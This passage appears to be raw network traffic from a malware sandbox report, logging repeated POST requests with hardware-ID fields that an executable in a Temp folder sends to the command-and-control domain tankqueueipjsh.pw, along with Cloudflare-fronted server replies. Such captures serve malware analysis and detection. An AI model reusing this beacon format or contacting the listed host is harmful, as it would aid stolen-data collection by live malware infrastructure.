Dec 6, 2023 14:52:53.414182901 CET	1340	IN	Data Raw: 34 32 35 63 0d 0a 33 63 76 35 5a 6e 5a 66 6b 53 6e 57 68 7a 4d 36 67 34 67 49 32 77 74 6d 66 4a 62 49 44 6a 6d 37 51 46 71 52 35 46 30 38 58 4f 2b 65 6c 72 39 57 59 56 50 62 4d 5a 43 55 66 54 43 4a 7a 46 61 64 52 43 55 75 6e 64 39 4f 59 50 68 32 Data Ascii: 425c3cv5ZnZfkSnWhzM6g4gI2wtmfJbIDjm7QFqR5F08XO+elr9WYVPbMZCUfTCJzFadRCUund9OYPh2XJjrWDtS/LWi+UgvRpExlN4rfYvDWJcBY2ubzwQwt0tDl+1SOlTnkp28WXNY2j2Ql307z4YQnBwrNtrxDTazVV6V7hsiEfPdlLUXOR/dOJiRfzGEwFGXCmxrk88GKrlAWZfsVDxb75iXvlNnUJF42JlrfdeIf5wRS
Dec 6, 2023 14:52:53.414221048 CET	1340	IN	Data Raw: 6d 6f 76 35 44 79 46 2f 32 69 43 35 6b 48 67 76 7a 39 63 65 67 6b 52 73 59 74 71 66 54 6a 61 78 52 56 6d 59 37 6c 4d 35 54 65 71 57 6d 72 5a 57 62 6c 2f 53 4e 35 4b 57 59 54 75 50 77 31 69 63 44 47 39 67 69 4d 59 42 65 50 59 45 56 6f 36 69 41 33 Data Ascii: mov5DyF/2iC5kHgvz9cegkRsYtqfTjaxRVmY7lM5TeqWmrZWbl/SN5KWYTuPw1icDG9giMYBePYEVo6iA31u/JqUthVIWMo3kp14Mc/XHoJEbGLan041tElVhO5bPVbtl4G2WGxc0TOKn2EyhM1TnwtkYpLNTnb4Q0nWuhsRXPuX0Z5Nd1jdJ5OTf32QhknbA2cuwocOObVWVJfoUTBX5ZiWtlNlVN8klpFzO4TJVZgPYWCT1U5
Dec 6, 2023 14:52:53.414257050 CET	1340	IN	Data Raw: 46 59 79 58 62 41 33 6b 51 78 68 50 6c 54 6a 55 52 30 49 49 4f 48 43 54 54 34 48 42 47 51 36 6c 6f 7a 58 75 4f 55 6c 72 64 51 59 46 58 63 4f 35 69 51 66 7a 69 4b 77 6c 61 51 43 47 52 70 6e 63 67 48 4f 4c 31 46 57 74 61 73 47 7a 70 48 71 73 58 54 Data Ascii: FYyXbA3kQxhPlTjUR0IIOHCTT4HBGQ6lozXuOUlrdQYFXcO5iQfziKwlaQCGRpncgHOL1FWtasGzpHqsXTllB3XP41iZczIsHREJwIKzbaxwo1vU9SkuVbOVLglpS3WG5Y2zuekXc9j89QmwR5aZGHQHi/XBHOonI6WPiag/lIL0aRMZTeK32Fzl2SD2xmltUFN7tNVpDoWDVV7JOSvlJmTd89lZ15O8+GEJwcKzba6Q0prnZSh
Dec 6, 2023 14:52:53.414294004 CET	1340	IN	Data Raw: 6b 58 67 77 69 73 39 56 6c 51 68 74 61 70 72 4f 43 54 32 38 51 6c 2b 61 34 56 4d 78 57 36 72 54 30 37 35 50 49 51 65 52 46 35 57 50 66 44 43 65 33 6c 4f 4e 44 32 5a 69 32 50 49 4e 4e 72 5a 44 52 39 62 39 46 53 51 66 37 5a 48 54 34 52 64 6c 58 74 Data Ascii: kXgwis9VlQhtaprOCT28Ql+a4VMxW6rT075PIQeRF5WPfDCe3lOND2Zi2PINNrZDR9b9FSQf7ZHT4RdlXtU3nJB9OYPOXpYLbWSawAQwsEVcne1bOFLum5+4UiERkTGA3it9oc9TiUZKY4vIAyn6cVKY7FwrH/Wi3flWIQfoL9iIM2XdhhCJRDMu3cQcKr5HR5WlZQN45JqSr0d2UO8IjZ19M4jeQdtKK2Hanzd48ARu2KJDfQe
Dec 6, 2023 14:52:53.502269030 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:52:53.753278017 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:52:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=gphko5da3ilnbpuaheh68okikb; expires=Sun, 31 Mar 2024 07:39:32 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:52:53 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:52:53 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:52:53 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=3L7JkYWQrr1la9AKItchXjmIPmV%2BD8M0E2IyFJKG%2FvJ2iQJH5jXOvr0EnbJMxFe2Nxmh4zjqMGDFA94qufHJiWhfoeYk6Lkv5XEmfSOqz0%2BnCI7%2BZM596MxF8%2Boojq%2BUJTzxSQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	50172	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:52:53.948885918 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:52:53.949210882 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:52:54.318305969 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:52:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=sr052255hboeu0us2flq64krlh; expires=Sun, 31 Mar 2024 07:39:33 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:52:54 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:52:54 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:52:54 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Ym3dH0n00mYHUXT8syjm7b5YPYtd7v0lFAs4MPypCbx5ae37aC4qyfUS5tiqjuW2ii%2BE3RvkQHdjpqJCIXS4xP1bTQB95QPVxDHMOmw%2F3xjlOJrHCwvqcJ75fcM1noTU%2FK8%2BVA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cl Data Raw: Data Ascii:
Dec 6, 2023 14:52:54.318341970 CET	122	IN	Data Raw: 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 31 31 36 64 36 37 39 63 37 39 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: udflareCF-RAY: 831503116d679c79-IAD15Malformed packet data
Dec 6, 2023 14:52:54.318444014 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	50173	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:52:54.444571018 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:52:54.444807053 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:52:54.803710938 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:52:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=e7m9o0ma1hcp7vspbhfdg8cm0b; expires=Sun, 31 Mar 2024 07:39:33 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:52:54 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:52:54 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:52:54 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=DIxgZu5yryik0%2B7Pso3Us6MLXSLXx9YtWXCcPUmMLPceYz6LaRbE3ZVUyOFWihB3K2vdF1s703Bqh7ZJ%2B5jMbTYFsVRhIXFDqDAjQIPxpg62%2Fh7d%2BNV15NNz48YhZp1Vj91UrQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cl Data Raw: Data Ascii:
Dec 6, 2023 14:52:54.803756952 CET	122	IN	Data Raw: 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 31 34 38 38 61 34 35 62 36 61 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: udflareCF-RAY: 8315031488a45b6a-IAD15Malformed packet data
Dec 6, 2023 14:52:54.803791046 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	50174	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:52:54.931535959 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:52:54.931746006 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:52:55.304970026 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:52:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=lljvopogmhqp4mamgho3ivqjvd; expires=Sun, 31 Mar 2024 07:39:34 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:52:55 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:52:55 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:52:55 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=HxM9wC7ppGKSELbbfdV%2B7FoJQ0GJb06TiXndPfXwiU20eyiActqAkPWGGAN29MzndDPucn5lTrEt2BuaBoR4CA2XzgGW%2BOS3%2F%2Beh1DbGxiAvJeFQogmjuYqG43qpZygCI8tqcw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cl Data Raw: Data Ascii:
Dec 6, 2023 14:52:55.305016994 CET	122	IN	Data Raw: 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 31 37 39 65 66 62 30 37 65 34 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: udflareCF-RAY: 831503179efb07e4-IAD15Malformed packet data
Dec 6, 2023 14:52:55.305052042 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	50175	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:52:55.413216114 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:52:55.413460016 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:52:55.766017914 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:52:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=3s12jld5j9tbm7kblgslbroih0; expires=Sun, 31 Mar 2024 07:39:34 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:52:55 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:52:55 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:52:55 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=nPFWMI%2BJvxGu067ugtbD%2BTJadnHZHAo5U3dHJWOeMi%2BDXGHDc%2Ff5uKskoAXCdSDL7g%2BC1CHBO7I5tPqqhZHiBX1X4j6eCchd1RGvpNSTZMo0G5onrrvuAsqhRKvRvA1%2B4xpd4Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server Data Raw: Data Ascii:
Dec 6, 2023 14:52:55.766036034 CET	126	IN	Data Raw: 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 31 61 39 62 39 38 32 66 31 65 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: cloudflareCF-RAY: 8315031a9b982f1e-IAD15Malformed packet data
Dec 6, 2023 14:52:55.766052961 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	50176	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:52:55.938154936 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:52:55.938353062 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:52:56.344350100 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:52:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=uval0dt3miuf4pv0u2gb1l1ckt; expires=Sun, 31 Mar 2024 07:39:35 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:52:56 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:52:56 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:52:56 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=aQk8BFIN6RBjIKwmAed85m31qo%2BcPfGk%2B9v8ufMTvwIY%2FjdCxXjF6GThH2urtd3NuMceEXNfkRa2m7S1NSpeOsyz6bkuDXsZV5AGKd9dS6fU4%2BzyN4HhqCuNT4vgwL%2FVkQbAFw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: Data Raw: Data Ascii:
Dec 6, 2023 14:52:56.344408035 CET	124	IN	Data Raw: 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 31 64 64 39 61 32 30 39 34 62 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: loudflareCF-RAY: 8315031dd9a2094b-IAD15Malformed packet data
Dec 6, 2023 14:52:56.344424009 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	50177	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:52:56.502867937 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:52:56.503067017 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:52:56.859515905 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:52:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=f2j2nasmlfcrcb9tiiv1j99dtk; expires=Sun, 31 Mar 2024 07:39:35 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:52:56 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:52:56 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:52:56 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2Btx7BtgONhJJ63D1DhWuq4Udf%2BvUZgyQGKctnWY82rkPyYTAnUESo9480lN9ltaay9qJnGLQSeXODS33SMfIi80hHnaORyTSwTviF1tuPr78ppXA8oQErY%2FEtyH5tsUns7Sn4A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: clou Data Raw: Data Ascii:
Dec 6, 2023 14:52:56.859549999 CET	120	IN	Data Raw: 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 32 31 36 63 31 38 35 39 64 33 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: flareCF-RAY: 831503216c1859d3-IAD15Malformed packet data
Dec 6, 2023 14:52:56.859565973 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	50178	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:52:57.213557959 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:52:57.213830948 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:52:57.569562912 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:52:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=3q5knk8e5l6idq7l7s2f73qmed; expires=Sun, 31 Mar 2024 07:39:36 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:52:57 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:52:57 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:52:57 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=gMUbhSj%2F16KXOyIazakNoYsm%2BzrT8FVvnZjleE0R1%2FPGo16wmH79KA2lGNiTnlEEY2zBzR3qX06JaIRpWzA7OWw8hdCGoCvMwGy8C%2FOK6aHAsnq33iqUSWYsjsVEFfYI2fg1gQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: 